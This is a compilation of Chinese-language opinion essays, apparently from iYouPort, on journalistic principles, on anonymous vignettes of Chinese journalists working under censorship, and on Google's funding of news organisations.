媒体也一样。会员制和募集筹资形式的独立媒体急需得到迅速的发育，只有经济独立才能从根本上摆脱权威的操纵。

另一个关键是：需要媒体人重拾新闻业的基本功。然而这恐怕是比经济独立更难达成的目标—— 审查和自我审查持续太久了，不知道有多少人还记得“记者究竟应该是什么样的”。

上个月，我曾经与一位“专业级”记者探讨某未经发表的爆料，居然惊讶地发现，这位记者的基本功已岌岌可危，他完全不知道确认的流程，居然底气十足地拿出了许多网络舆论做为“证据”，简直大跌眼镜。

能推动媒体人重回原则性和重拾技能的最好方法是，广大信息消费者的监督，也就是说，首先消费者应该明确判断，哪些报道是错的、哪些证据不足和调查不清、哪些存在偏见、哪些片面和不充分。当媒体被指出错误时他们就会提起警惕，别忘了信息消费者是他们的衣食父母，你我的信任与否将直接左右他们的利润。

行动起来！工具—— 帮您判断假新闻：《做个聪明的信息消费者》https://commondatastorage.googleapis.com/letscorp_archive/archives/94158 ；《信息筛选和垃圾识别》https://pao-pao.net/article/758 ；《新闻应该是什么样的》https://pao-pao.net/article/813

「本文在中国网络可以阅读，但不包括其中附带的所有链接，除非您用加密保护自己」

原文

到底什么是新闻？记者应该长什么样 - iYouPort

关于真实的“媒体”-真相衰变让它民主-公民掌握真相的技巧和技术

当新闻业在政治和市场利益的双重夹击之下日渐扭曲时，当信息消费者已记不清真正的媒体应该是什么样的时候，再次重申原则和标准是很重要的，也是亡羊补牢的无奈之举。

一个充满活力的媒体、一个自由的媒体，是对独裁政治唯一最佳的制约－－NBC前记者Marvin Kalb。媒体自由则社会自由，这是新闻业至关重要的原则。

当新闻业在政治和市场利益的双重夹击之下日渐扭曲时，当信息消费者已记不清真正的媒体应该是什么样的时候，再次重申原则和标准是很重要的，也是亡羊补牢的无奈之举。

什么是新闻

1、新闻存在的根本在于提供信息。“新闻”的意思就是提供新的东西。但相比传统，如今的新闻太过注重所谓的轰动效应，从而失去了一些重要的东西。记者应该希望自己的报道能带来知识价值，而不是仅仅给读者带来刺激。

不否认一则报道需要情感上的拉动力－－那种能够吸引人进入故事的冲突和戏剧性，但不要忘了，还有另一部分的重要在于信息本身－－应该能够给人们带来新的知识。两者是互相补充的关系，缺少任何一种都不是好的新闻。

「图」

「图」

2、新闻专业一直在教育学生们作为一名记者要时刻保持客观公正。这意味着记者必需克制自己的私人情感，不偏不倚、不带任何有色眼

镜来报道消息，一切以事实为据。当然这是很难做到的，每个人都有自己的情感和观点，书写中会下意识的使用形容词，但这些都是原则中不支持的行为。

如今的新闻已经高度舆论化，记者在那里侃侃而谈，拼命的想要告诉你应该怎么理解这则消息，而信息消费者看到的不过是一个个自以为是的宣传者，崇尚独立思考的社会尤其鄙视这种做法，它满足的只是那些不擅思考懒于思考的被动者。

美国最受信赖的记者评选中经常会出现克朗凯特的名字，他是冷战时期美国最富盛名的电视新闻节目主持人，他为什么被人们如此的喜欢？因为他在直述新闻，仅给出事实而不带有任何个人意见。他是一个严肃的报道者，他的风格意味着对受众的尊重。克朗凯特的成功建立在他对客观公正的不懈追求上。

他告诉人们需要思考的内容，而非“该怎样思考”。

一则备受争议的事件，当其证据被公正冷静的呈现时，公众会自己去辨别那是什么，这就叫阐明。相反，在消息中拼命植入记者和其就职单位的立场和观点的行为，是煽动。不论它是否正义。

必须承认，任何时候都保持客观是非常难的，有些信息天然的会激起人们的情绪。比如危机和灾难新闻。但如果你是个记者，只要播报这则消息，就必须尽可能的保持冷静。这是原则，没有商议余地。

网络时代给“客观”二字又加入了新维度－－记者不仅要主要自己在报道中说了什么，还要注意自己的个人博客、网站和社交媒体账号中，都说了什么。不论你信不信，纽约时报的员工行为准则中就是这样写的：如果你已经拥有或正在申请一个Facebook账号，那么请把询问你政治观点的那一栏空着。

根据纽约时报的新闻伦理指南，禁止一切可能会招致读者对自己或对纽约时报政治立场公正性产生怀疑的言行。美联社的指南也大致相同，NHK直接建议记者不要使用职务身份注册社交媒体账号、不要认证。目的都是一样的：保持媒体不偏不倚的声誉。

科学技术随时都在改变，但新闻客观性的本质是不会变的。

3、前面有提到，这是个舆论化时代，你能看到已经有一些优秀的报道混杂了分析和观点，其中一些还是很精彩的。我们称之为鼓吹性报道。

电视新闻行业的转变加之社交媒体的风靡，使得新闻业面临这样的危险：它可能会被拽入一个由舆论支配客观的世界。

在网络上，尽管人们针对某问题的讨论不再有新的事实的加入，但人们却仍然有想法要分享；在电视新闻中，一些公司发现，做观点类节目要比做传统新闻更赚钱，同时还可以大幅度降低成本。以至于有时候你能看到一些新闻报道已经偏离事实太远，你会震惊和失望，那些主播陶醉在自己的声音里，花费了大量时间阐述自己的意见，而非更详细的告诉人们发生了什么……仿佛一个宗教领袖在宣讲教义。

是啊，报道需要耗费大量财力人力，而贩卖观点则是空手套白狼的买卖。但稍有独立性和自尊心的人都会讨厌被灌输思想的行为，不管那些思想是不是与自己契合，它们都是在剥夺人们思考的主动权。

无奈，这个时代已经来了，原则也许会有所妥协，但专业媒体仍是会将观点类节目和新闻类节目区分开来，让市场去决定哪类节目更受欢迎。但唯一不变的是：尊重事实。后文中还将详细这点。如果 Fox news 自称“保守派电视新闻网”，人们或许就不至于如此讨厌它了。美国自由派人士对Fox使用的“公正而平衡”这一标语异常愤慨不是没有原因的。

必须说明：任何一个以主观报道为标志的专业记者，都是从绝对客观报道起步的。客观是基本技能，只有熟练掌握客观，才能驾驭主观令其不会太过偏离原则性，才不会沦为地摊小报的劣质效果。

4、什么是公正？对一件事不带偏见、诚实描述、尽可能全面不偏袒，就是公正。一名记者应该像一位科学家那样，不要在乎答案是什么，只要确保你得到的正确的答案，这一点至关重要。公正与客观性相关，但它是与最后的产物而不是与过程有关。即便你没有能完全避免私人情感的加入，没能做到彻底的客观，也仍然可以做到公正报道。

做到公正最重要的一点就是准确引述受访者的原话。公正要求你绝不能歪曲、不能断章取义。你可以为了整体稿件的长度而削减一部分原话，但必需保证削减的结果不改变受访人的本意。

不能保持公正的代价是很大的。1982年，美国著名将领韦斯特摩兰（William Childs Westmoreland）曾经起诉CBS的一个名为《无尽的敌人》的纪录片中使用错误信息，片中声称韦斯特摩兰和他的部下故意把北越士兵人数少报了一半，以使美国继续参战。调查结果发现，

CBS违背了原则，为了影片的主旨，而将不同的问题串到一起。韦斯特摩兰要求赔偿1.2亿美金，尽管最终撤诉，但CBS的声誉因此大跌，一度难以提振。

在追求公正中，记者最好的帮手是一个出色老练的编辑或制片人。编辑要做的工作远远不止修改文字这么简单，他还要帮助记者远离麻烦，确保他们遵守法律、符合道德标准，要确保报道的背景合适，符合上下文，还要帮助记者出点子、找话题和可以采访的人物。

5、两种新闻：硬新闻和软新闻。硬新闻指那些即时发生的，值得人们注意的事，包括全球性大事件、政府出台的新政策或医学上的重大突破等等；软新闻指那些没有特定时效的事件，通常着眼于时下的风潮。软新闻也叫特写新闻，它可以放上一周、一个月也不会失去价值。

新闻人通常会寻找新闻由头，使得软新闻同样具有硬新闻的时效性，新闻由头往往是与硬新闻相关的新闻材料，用以加强软新闻的重要性。比如一则突发消息称“有中国籍公民在非法入境中被扣押”，这是硬新闻，而“究竟有多少中国人选择移民”，或者“海外中国移民的生活状况”，给出一些调查数据和相关采访，这就是软新闻。它们接连出现就是辅助作用。

不论一则新闻是软是硬，编辑和记者在决定报道什么的时候都要考虑六个因素，其中许多都取决于媒体的类型、媒体所在地域和新闻受众：

相关性－－事件离你的受众有多近？这里的远近指的不是地理位置，而是“该信息受众应该知道”。比如美国大选选战中，特朗普多次提及中国，美国选民要衡量特朗普的说辞就需要更多了解中国相关消息，也是在那个阶段，美国媒体报道中国消息的频率迅速提升。

影响力－－能对受众产生影响的事件往往值得报道，而产生的影响越直接，新闻价值就越大。要评估一则新闻的直接影响力很简单，困难的就是要看出哪些新闻能对受众产生足够多的间接影响而值得报道。举个例子，比如我报道美国的＃blacklivesmatter 运动，中国人能从中学习到很多反抗行动的相关经验，能体会到平权精神、以及更多了解美国社会；再比如报道俄罗斯的全球性信息战、政治宣传，中国受众能从中体会到它的战术与中国政府的区别，以此更多了解相关政治体制的外宣行动。

即时性－－这个不应多说。做为硬新闻，就是越快报道越好，但必须注意，最快的报道往往是极为片面的，要明确自己的片面，告知受众“我们还不知道什么”。＃Breaking 下一定要把信息来源说清楚，是哪位官员的话、引述的哪家媒体的独家消息、哪个机构的发言等等。

冲突性－－不是每一则报道都需要具备冲突性，但最具吸引力的新闻往往具备这一点。所谓冲突可能存在于人与人之间、族群之间、国家之间，也可能是两个对立的观点。

重大性－－有重要人物牵涉一桩新闻，往往会使得该消息变得重要。假如一个普通老百姓在大街上被人抢劫了，媒体一般不会报道，如果被抢劫的是名人，那很可能就是头条。

热议度－－指的是多少人会在闲暇的时候谈论这件事。热议度往往和名人相关，老百姓的家庭琐事媒体很可能不关心，一个明星离婚或出轨，经常是热议话题。迈克尔杰克逊去世的消息，连很多严肃媒体也参加了报道，正因为这点。

具备以上六要素中任何一种要素都可以称之为好的选题，具备越多要素价值越高，相对越少价值越低。关键是受众应该会读新闻，需要有能发觉到新闻中隐藏的问题和线索的能力。比如王宝强离婚，暴露中产阶级的婚恋/财产稳定问题；共享单车的兴起及相关事件引发对路权平等问题、共享素养等社会问题的分析；好莱坞年度最佳影片排行榜，能看出美国文化重心有所转变；中东战事关系到一带一路的推进及相关投资……

互联网时代的新闻正变得像地摊文学一样充满着捏造出来的冲突，无聊透顶，尤其中文网络上的新闻，你几乎难以从中学习到任何有价值的东西，电视新闻充满着废话，像娱乐节目让人昏昏欲睡……这都怪当今的新闻制度，它把量看得比质还重要，把排名和广告收入看得比新闻内容还重要。

甚至这种风气还影响到用人，领导层不是在寻找一个合格的记者、一个专业的编辑，他们看重的更多是这个人能否给本媒体带来更多的点击量和收视率。目前新闻界全面不景气，这种风气也就愈加强悍了。

美国舆论一直在谴责媒体的付费墙阻挡了优质内容的流通，不否认这点，但如果网站保持免费开放的状态，广告收入就会持续减少，一些新闻机构就有可能面临破产，即便付费阅读也很可能无人问津。这就是眼下的难题。

记者应该长什么样

不知道如今还有多少媒体同行记得“皮鞋精神”。互联网时代，人们喜欢坐在屋里等消息送上门，打几个电话就能凑出一篇稿子，喜欢在社交媒体搜罗网友爆料，甚至毫不查证拿来就用。皮鞋精神早已被丢的一干二净了。

老师经常告诉我们的是，做记者的，你不跑烂几双皮鞋是写不出好新闻的。你要亲眼看到、亲身体验、亲自和那些目击者交流、和线人沟通，看着他们的眼睛判断他们是否有所隐瞒。电子通讯手段的便利的确能帮你省下一两双皮鞋，但如果你想成为专业的新闻人，那就赶紧走出办公室吧。

优秀的记者总是持怀疑态度，这样能帮你挖到更深沉更全面的信息。尽管怀疑，但绝不能鄙夷嘲讽，要谦虚才更容易得到采访对象的合作。有很多记者就是因妄自尊大而丢了工作，他们对待同事鲁莽、太过以自我为中心，缺乏合作精神。

更重要的是，优秀的记者要有足够宽广的知识面，和快速学习的能力。很多人说新闻专业没用，甚至有人认为那是个多余的学科，虽然我不这么认为，但仅仅从新闻专业课中学到的东西是无法让你成为一名好记者的，做新闻的人更多的学习应该在校外。

不能说要你上知天文下知地理，但必须知道，知识面越宽，能意识到的新闻点就越多，采访中挖掘的深度就越高，至少不会被打官腔和胡说八道的伪专家骗到。快速学习能力也很重要，你应该以最快的速度让自己成为所报道话题的专家，以便深入研究。

重点说一下匿名渠道的问题，这也是很多放料的常用手段。匿名消息是把双刃剑，需要非常谨慎的对待，一方面他们常常能给你带来最好的信息，因为假如人们知道他人无法追踪到自己就更敢于说话了，其中最著名的就是Woodward和Bernstein的线人深喉，后者爆出了水门事件，把一个总统拉下马。

但必须注意，匿名消息源是假新闻的重要渗透渠道，经常被用于权力斗争。放料人借助匿名隐藏自己的身份，向你提供错误的信息，从而达到他们自己的目的，同时毁掉你的信誉。

悲剧的是，当权者往往会利用自身权力来压制媒体接受他们的放料，明明信息不充分、证据不足甚至几乎没有，他们就选中你非让你报道

不可，换句话说就是，放料在一定程度上不是媒体选择的，正相反媒体是被选择的那个，你推都推不开。但也有单纯为了刷吸睛度而专门依赖那种没谱渠道的平台，那根本称不上媒体了，不过是个广告部。

不管怎样，在做决定之前你需要考虑一件事：对方施加的压力包括给出的甜头，要用你的信誉和灵魂来交换，值不值得。

大部分新闻机构都会高度限制记者拿匿名消息源的信息，如果信息价值非常高的话，要拿下就必需三个或以上的独立信源确认同一则消息，否则再高价值也不能要。如果有人私下告诉你什么，要养成习惯，向对方寻求可证实的文件和其他证人。

如今的制度是个很闹心的玩意，它要求点击量与稿酬挂钩，但同时记者的自律同等重要。社交媒体时代，注册几个马甲（sock puppeting）是很简单的事，有的记者注册马甲给自己的文章留下赞赏的评语，结果，被炒鱿鱼了。这是违背伦理道德的行为，几年前洛杉矶时报一记者就是因为一个马甲而丢了工作。

总之，时代的确变了，媒介即思维，互联网时代受众的口味也变得浅薄和娱乐化，但是，上述五千余字的新闻原则并没有变，不能变，绝不能。同行们可以用它来衡量一下自己的工作是否靠谱，信息消费者可以借此来判断，什么才是专业媒体，一定要区别于那些地摊八卦。

原文

在中国：六个片段勾画“媒体人”的侧面 - iYouPort

关于中国社会关于真实的“媒体”-真相衰变审查和自我审查-民主的支柱是如何歪掉的

—— 第一个片段 ——

“我们得先吃饭”。这句话在不到 10 分钟的交谈中，他说了六次。

一位从纸媒下岗的资深员工秉着为老同行们谋福利的炙热爱心，搞了一项约稿中介服务，在传媒群组里推荐大家加入。他的自荐语很模糊，只是“重新致富、共同发财”之类，这让我对他的生意产生了点兴趣。

私下交流时他告诉我，“我们主要写产业文章，为行业产业服务”，他说。就是软文吗？我问。

不一定，有人付钱写的那种可以算是，你叫它软文我也不反对，还有一种是行业观察与分析，可以说是独立创作的，“能确保你的观点自由”，他解释说，并希望我把曾经写过的类似题材文章发来看看。我发给他的是《苹果卖的究竟是什么》。

他读过后很不高兴：“不能这样批评啊，会惹上麻烦的，你知道，那些巨头的公关都很强，钱多后台硬，得罪不起的。中国公司和进入中国的外国公司都不能得罪，如果你还想混下去的话”。顺便警告我：记住，你只是个写字的，不要给自己找难受。

他告诉我，他希望帮助大家“转型”。纸媒正面临洗牌，你大概也听说过，最终能留下来的都是以政府机关部门为固定订户的报纸和杂志，其余的都会出局。虽然很多传统纸媒在利用最后的时间拼命讨好政府，希望能跻身被订阅的圈子，但很可能没用，“政府不会轻易信任的，媒体这么多，为啥一直以来就几家可以享受内参通道？那些理想主义者只是不敢承认现实”……“我们必需提前下手，不能等着饿死”，他说。

“如何能更好的二次、三次就业，这是关键问题。从事文字工作推荐这是我们的强项，不论是甲方乙方，或者自媒体，或者市场、品牌，我们这边都有大量需求”，他说，“大家都是干这个的，就不多解释了，你一定能懂。你写得再好也没用，如果没人推荐的话，你不可能凭自己的本事吃饭。这就是现实”。

我有些不解，媒体的工作不是监督和曝光吗，“转型”的结果如果是逆转媒体原本的职能，究竟有多少人能迅速适应这种完全逆反的变化？

他笑了，“你以为在职的人就是在监督权力？别逗了，大家都是在吃饭，永远别惹那些能砸掉你饭碗的人，这事关你的生存问题。人有一万种活法儿，能让自己活得舒服的人，就是赢家”，他说，还特别强调了一遍：“我们只是在延续所有同行一直以来的生存哲学，是让它发挥更强的效用，让那些能掌握这套生存哲学的人享受到更多的回报。正义是什么？如果没有收入来源，一切都是扯淡”。

他顺便批评了“你们这些外国人”，他说“你们不懂中国国情，在中国想要活下去，你就必须放弃所谓的原则大义，你需要擅长投机取巧，既是技术也是艺术。我们这边也有些老媒体人比较矫情，总喜欢跟别人讲道理，呵呵，等他饿得抬不起头来的时候，看他还有什么力气讲道理……”，他说，“我们在做善事，为老同行服务，虽然老同行很可能最事儿逼。每年都有大批的毕业生，那些没见过什么世面的小孩子们非常听话，让干什么就干什么，招新人成本很低，但我们为什么没有那样做呢？还不是因为惦记老同行！”

他告诉我，在中国，光凭写字的本事是可以吃饭的，甚至有机会吃香喝辣，但前提是，“你得识时务、懂事儿、会做人，而不是只会做你自己”，“否则你会因为写字而饿死，甚至进监狱。只有这两个选项，你随便挑一个吧”。

他奉劝我：“没事别在网上讨论社会问题，尤其是沾政治的话题，否则你肯定在中国找不到工作。你说的什么所有人都能看到。想招人的老板不会希望招来一个只会惹麻烦的员工”。

—— 第二个片段 ——

“我现在只想赶紧凑够买房的钱，娶个拿得出手的老婆，过上无忧无虑的下半生”，他说。

您现在的女朋友已经很不错了，又漂亮又有本事，我说。

“麻烦就在这儿了。正因为她自己太有本事，如果我的地位不能压过她的话，将来肯定会受气。她现在已经看不上我的工作了”，他说。

你们也算是官媒了吧，官媒都很有钱的，这个我懂。

“问题是她也在官媒啊，而且还是领导的红人，我不能仅仅追求和她平等，这样她不会尊重我。我需要进国社，不是薪水的问题，而是地位，我需要看到她在和朋友介绍我的时候那种溢于言表的兴奋”，他说。

兴奋？

“是啊，我在美国的同学也是她的熟人，现在就在国社，还是个小领导，她在给别人介绍我那同学的时候就是这种兴奋的表情。我跟她三年多了，三年，从来没享受过她这样的表情，就像换了辆宝马拍照上传朋友圈时的表情，就像那荣耀是她自己的。我要把这份荣誉拿出来，它应该属于我”。

我不觉得国社是荣耀，抱歉我说话比较直白。

“我也不觉得啊，可女朋友觉得是，社会上几乎所有你认识的人都觉得是，那就必需是。你的荣耀从哪儿来？就是从他们身上啊，他们的价值观决定了你是个什么样的人。我们自己早就不存在了。”

—— 第三个片段 ——

“我现在根本不知道自己在干什么。是写作？还是特么的表演，表演给领导看吗？你看啊我在工作，结果呢，什么也发不出来”，他说，“这次一共三篇，被删掉了两篇，有谱的人几乎快没了”。

审查标准是模糊的，越模糊空间越窄，问题在于审查本身。它不应该存在。

“谁说不是呢？问题是这事越来越恶化，在以前，红线还算相对清楚一些，哪些能说哪些不能，基本大家心知肚明，现在可倒好，尼玛没人愿意担责任，整个就是个踢皮球运动。底下送上去的稿子周刊自己不敢批，送到新华社审，新华社也拿不准，再送去外交部审，外交部不理让新华社自己决定，然后新华社说周刊你们自己看着办吧……前后一个多礼拜过去了，热点也特么过去了，直到现在稿子还在那儿搁着，没人敢拿主意！”

这个……好像很夸张的样子。

“一点都不夸张，这就是我们的现实，我们的几乎全部生活。忙得要死要活，你却根本看不见稿子出版，我问领导怎么办？领导说，接着踢呗，再踢一轮儿，继续审”。

好可怕。我看过您的作品，很中肯的观点，观察比较全面，这样的稿子发不出来是非常可惜的。

“不止我，所有人都遭遇这样的事。我们现在就像是一场大型闹剧里的木偶，明知道是闹剧，但跑不掉，连嘲笑都不敢发出声音，还要被线牵着，被迫表演，被逼着把这场闹剧做得更大”。

我是说，您可以选择给海外媒体投稿。本着不糟践东西的原则，至少……

他笑了，“要么说你是老外么，你们外国人不懂中国规矩。你拿着中国媒体的薪水，去给外国媒体投稿，这叫吃饭砸锅。你也许可以说用匿名或者化名，但那有什么意义吗？不仅没人知道是你写的，并且万一有人知道了，你这边的饭碗就砸了，甚至今后都没可能再在中国找到下一个像样的饭碗。为了一篇稿子，不值得搭进去下半辈子。是吧？”

他沉默了。过了好久忽然说，“你知道有什么心理测试能判断一个人的忍耐力吗？”

—— 第四个片段 ——

“要严打了你听说没？我刚看完那篇要管制 VPN 的报道，我的 SS 就上不去了。噩梦一样”，她问我。

不是一直在喊严打吗，今后只会更严。话说你们是做国际新闻的，单位应该给配 VPN 或其他翻墙工具才对啊，这不是基本工作需要吗？

“才不会，从来不给VPN，更没人敢问这事。他们不承认这是工作需要，虽然也不管大家是不是翻墙，如今选题卡得越来越紧了，与中国无关的一切话题都不让说，但问题在于，与中国有没有关系是领导说了算的，他们拍一个选题出来才不会在乎你是不是能翻墙查找相关资讯”。

大家互相帮忙吧，肯定有懂技术的同事。

“有是有，只能平时修电脑用，翻墙这种事大家都是你知我知，没人会谈论这个话题。你也不可能知道身边哪个人是领导的心腹，哪个是

打小报告的积极分子。没错翻墙无罪、是工作需要，但那是平时，万一哪天你得罪了领导，却又不能就事论事地批评你，翻墙这种小辫子就派上用场了”。

这，活得也太惊心动魄了吧。

“谁说不是呢，不止我们单位，整个社会都是如此。人们其实什么都懂，心知肚明，但没人告诉你，没人肯和你交流那些你感兴趣的事，虽然他们都感兴趣。就整天这么大眼瞪小眼的，装模作样的混日子”。

为什么信任我呢？

“你是老外呗，哈哈，你不存在于能影响到我的任何一个利益链上”，她说。

—— 第五个片段 ——

“我真的很羡慕你们，能做到解构一个主题，如今这年头太不容易了”，他说。

他是从网络媒体转行到纸媒的，这一路径与绝大多数同行相反。我曾经问过他为什么，他的回答很令人惊讶：“为了能思考。网络媒体以浅薄为宗旨，以扯淡为原则，根本容不下任何思考。我们这种欧洲派是追求深度的，完全受不了那些胡说八道。没想到……”

没想到什么？纸媒相对好一些吧，能把话题挖深一些？

“我曾经也是这么认为的。但现在终于明白了，我赶上的是网络媒体国家化，如今肤浅是中国所有媒体的生存之需，不管传统还是互联网，装傻都是基本功。也就是说，没多少人是真的傻，至少我周围是如此，大家只是不说，领导的要求永远第一位。当然，慢慢就变得真傻了，就像在井底呆上几年的青蛙会变成灰色”。

什么意思？

“就是说你挖得越深死得越快。想太多是个臭毛病，是致命的癌瘤，不仅会让领导发现你具有威胁性，开始琢磨怎么能让你变傻一点，并且还会引起周围同事的嫉妒，出风头在中国从来不是个好主意。”

领导喜欢浅薄的东西？

“他们不会这么说。比如我上次送去的稿子，被毙了。原因既不是选题，也不是观点，而是……几位审稿人都说看不懂！他们还把我教训了一顿，说我写得东西太学术，应该写老百姓能看懂的东西，要亲民！老百姓能看懂还珠格格，你找琼瑶去啊，雇我干嘛？”

哈哈，是审稿人水平太低了吧。

“是啊，他们自己看不懂就觉得读者看不懂。这是一贯的，不是我或某几个人的遭遇。这就是为什么你从外面看上去整个中文内容市场都是浅薄愚蠢的。因为不蠢的都死了”……

被迫装傻。

“每次开选题会都是，要么不做深度，要么做了就预感会被毙，要么就干脆约专家写篇稿子完事得了。但是如果只约稿不写，绩效又上不去。很尴尬。所以后来我跟另一个有谱的同事说，要不咱们就不做时政了好不，做点科技解解闷。”

专家写的他们不挑毛病？

“基本不挑，作者的名字、知名度就是正确性指标啊，但文章里也必需不能有犯忌的东西，当然，如今那些专家也写不出什么犯忌的东西了，都被折腾得非常老实了。就像我们这儿，原先有几位蛮有脑子的，如今全傻掉了，或者说装傻的本事炉火纯青了。一种潜移默化的退化”。

市场生态也是问题。就像冯小刚说的垃圾观众，垃圾作品获得了市场好评，点击量傲人，你就很难辩驳说深度是有价值的。

“说实话，我回国这些年写的东西加在一块的价值都不如我们当年在英国留学时宿舍里的一场侃大山，那是真的能思考的地方。我呆过的唯一能思考的地方。所以我说羡慕你们，至少你们还能不在乎市场，没有傻逼审查员盯着，能根据自己的知识见识去写自己想写的东西”。

我们现在只能做到写出来，嗯，你知道，我们没资金，没有贵刊那种颇具竞争力的稿酬。

“哈哈，我好像能平衡一点了。只是一点”，他说。

纸媒创新绝不能变成网媒的外挂。虽然互联网时代有时代标志性思维方式，保存水准和深度依旧是纸媒的责任。纸媒在不久的将来就会变

成奢侈品、藏品，将是高阶层人士享用的东西，你们更应该有这个意识。

“是啊，我现在只能偷着练笔，做贼一样”。

你觉得审查员所说的“亲民”，是不是来自习近平的主张，所谓“走转改”？和那个有关吗？

“别，你知道，我不能说这个。I cannot, dude, let’s get off the topic”.

—— 第六个片段 ——

“今天我们发了个手抄名单要求清除余毒共有两百多人……从薄到孙、从国级到地方、从大佬到小秘，全都在列。要求清理网上所有有关的字眼”。

当年苏联秘密警察首脑内政部长贝利亚被撤职并受到处决，关于他的一切资料、那些正面描述他的条目，全部被编纂百科全书的机构删除了，仿佛苏联的历史上不存在这个人。

“邪门事儿越来越多，前些日子每人给发了一份打印文档，你猜不到是什么。是 Steve Bannon 的讲话！还是中英双语的，要大家深刻学习班农同志的思想。还说不要看外国媒体胡说八道……”

这个，好像不合逻辑。

“遍地都是不合逻辑的事。以前开会只有党员参加，现在基本都是扩大会议，把非党员也全拉进来，一起学习……风向非常诡异，你只能感觉到诡异，不敢说也说不清为什么“。

”最近我们单位很红很专的那群人报的选题也越来越有意思了，脸书那事闹的 ，数据极权这种东西终于要名正言顺出现在党媒上了，真是太好笑了，让一帮为极权叫好的孩子做一个关于极权的选题，这是有多荒谬”。

想必也做不到数字极权的深度。

“肯定的。我们这儿多数选题都是内容为导向，思维还停留在几个世纪之前，有些甚至是十几个世纪之前，一点不夸张。发生了什么事，然后就事论事，未来几期依然就同一个选题就事论事，毫无新意。这种杂志是没人看的，可以白送你订外卖时垫桌子用，但我们必需这么做，否则就没饭吃。我们就是纳税人养着的宠物，纳税人被迫养

的”。

听起来蛮清闲的。

“闲得快死了好吧。我现在60%的工作时间就是看外媒专栏，等下班。然后听着领导叨念，什么要进一步弘扬主旋律、要重点针对西方主流人群宣扬我们的价值观……我们的价值观就是闭着眼听领导的指挥，你好意思宣扬吗？”

哈哈，反美意识形态。

“你知道贸易战最热那几天我们这儿的党员们有多兴奋吗？他们和他们的领导一样，巴不得打起来呢，这样对操纵国民主义更有利，他们拟的文章标题跟毛左网站几乎看不出区别了，糊了满脸的鸡血……可悲的是那群非党员也跟着糊鸡血，贸易战对中国人权的好处是什么？会有多大影响呢？毛儿影响都没有，除了让那些民族主义者的肾上腺素爆一下表”。

我以为你不会说这些。

“我不知道。遍地都是坑的时候你反而不怎么害怕了，早晚都会栽进去，爱谁谁吧，这就是我现在的样子。以前我们单位搞的自我批评仅仅限于口头，现在要落实到笔下，每个人都要写，要定时上交，要检讨自己今天有没有不忠于党的心思……万一今后搞运动了呢，这些东西就是铁证啊，自己证明自己有罪！……很有压力，一个人要是不写，其他人都写了，那这个人就亚历山大了，你懂的。非常可怕。我已经想换工作了”。

可以考虑外媒。

“没戏。你以为外媒就自由了？今天我们在组织听习的讲话，我偷着刷推，结果发现华尔街日报、纽约时报等大牌媒体的驻华记者也在看习的讲话！哈哈哈，他们就是通过央视的习讲话了解中国的吗？这是有多傻！……他们一点用都没有，对中国老百姓来说，他们只是把中国当成了选题，就像我们单位把美国当成选题那样，没任何区别。这些外媒什么都解决不了，恐怕对解决问题也没什么兴趣。北京在坐享封闭的红利，而老百姓拿外媒当神仙，拿我们当傻逼。将来要是民主了？我们可能会被……你说，会吗？”

我不知道。 广告

原文

大科技寡头是否真的关心新闻业？笑话 - iYouPort

关于真实的“媒体”-真相衰变

苹果在宣布 News＋ 的时候，虚弱的传统媒体表现出一片兴高采烈，仿佛由此看到了活下来的希望。但这真的是好事吗？

「图」

「图」

苹果在宣布 News＋ 的时候，虚弱的传统媒体表现出一片兴高采烈，仿佛由此看到了活下来的希望。但这真的是好事吗？

GOOGLE 宣布它将与 McClatchy 合作，为约50万人的社区中的三个新的本地新闻实体提供资金。这标志着新闻业被吸收到大型科技企业边缘的速度发生了变化。

有史以来的第一次，一家大型科技公司正在与新闻主管直接合作，建立一个本地新闻业务，并建议为此提供资金。

McClatchy 首席执行官 Craig Forman 将这项努力描述为一个真正的“合作”，McClatchy 团队将与谷歌的专家一起工作。虽然谷歌“在财务上帮助支持这项工作，”Forman 在谷歌博客的新闻稿中写道，“这些网站将100％由 McClatchy 拥有和运营，McClatchy 将保持对内容的唯一编辑控制权和所有权。

如果有任何疑问，他重申“Google 将不会参与或干预任何编辑工作或决策。”

很难知道谷歌专家与 McClatchy 员工合作而“没有任何编辑意见”会是什么样子。这种事是天方夜谭。在网上建立成功的新闻产品的每个人都知道，应用于新闻的技术架构、工具、软件和分析不可避免地最终会影响编辑内容的各个方面。

实际上，众所周知，新闻编辑室中最常见的“错误”之一是未能将“产品”正确地整合到新闻编辑室中，或者没能恰当地考虑到他们出版的技术环境。这就是资助的绑架。

在过去十年中，没有哪家公司比谷歌更多地资助和“支持”新闻业。只要你参加新闻发布会、听到新闻编辑室的实验、甚至只是看新闻研究，就很难躲开谷歌的名字。谷歌的数字新闻计划从欧洲扩展到美国，该计划已经在欧洲的新闻创新上"花费了超过一亿欧元"，迄今为止已经对“美国报道”—— 以及现在的 **McClatchy** 计划—— 进行了高调的投资。

由于出版物仍然只能获得如此少的广告资金，而且来自读者的收入一直无法弥补这种亏空，新闻编辑室的创新工作越来越意味着要求思考“谷歌想要什么？”而不是公民想要什么—— 谷歌一直在影响新闻编辑室的选择，从虚拟现实到语音、再到照片库。

但问题在于谷歌现在对新闻业的许多方面都不满意。该公司的引流能力明显高于一些竞争对手，尤其是 Facebook。这部分是因为它更加成熟，并且可以更好地处理与媒体的关系（例如，它没有试图隐藏自己的影响力宣传活动）。

它也很能花钱。谷歌为新闻业提供的额外资金并不是直接购买或支持异议，但它肯定会让新闻CEO和编辑将谷歌与其他平台区别开。他们的态度是“Google get it”。

在谷歌新闻的早期，当我负责卫报的网站和数字产品的编辑时，我们从与谷歌的密切关系中获的了利益，因为谷歌了解如何为搜索算法*优化*文章的元数据。

但是，谷歌涉足本地新闻业不仅仅是一个“帮助”的问题。当该公司在欧洲推出 DNI 时，它直接回应了欧盟监管机构的压力。这笔钱是从营销预算中分配出来的，相当于游说活动。现在，谷歌正在将其直接资金投入美国。它是在2020年总统大选之前这样做的，此时民主党的领域正在集结（暗示该巨头的不透明算法具有党派偏好）。

在总统竞选中，监管技术平台首次成为选民的问题，并且至少是一位认真的候选人伊丽莎白沃伦的议程，并且长期以来也是另一个人 Amy Klobuchar 感兴趣的领域。

那些为了打破全球监视资本主义巨头 Facebook、亚马逊和 Alphabets（谷歌的控股公司）而重新考虑反托拉斯法案的人正在获

得动力。

但是，这项开创性工作的智库—— **Open Markets Initiative** 在 **2017**年新美国基金会（**New America Foundation**）中"失去了"它的主导权，当时它引起了主要资助者谷歌不满的紧张局面。如果说谷歌增加对新闻业的资助完全与第一个监管技术平台的重大举措有关，有人信吗？是不是听起来像阴谋论呢？

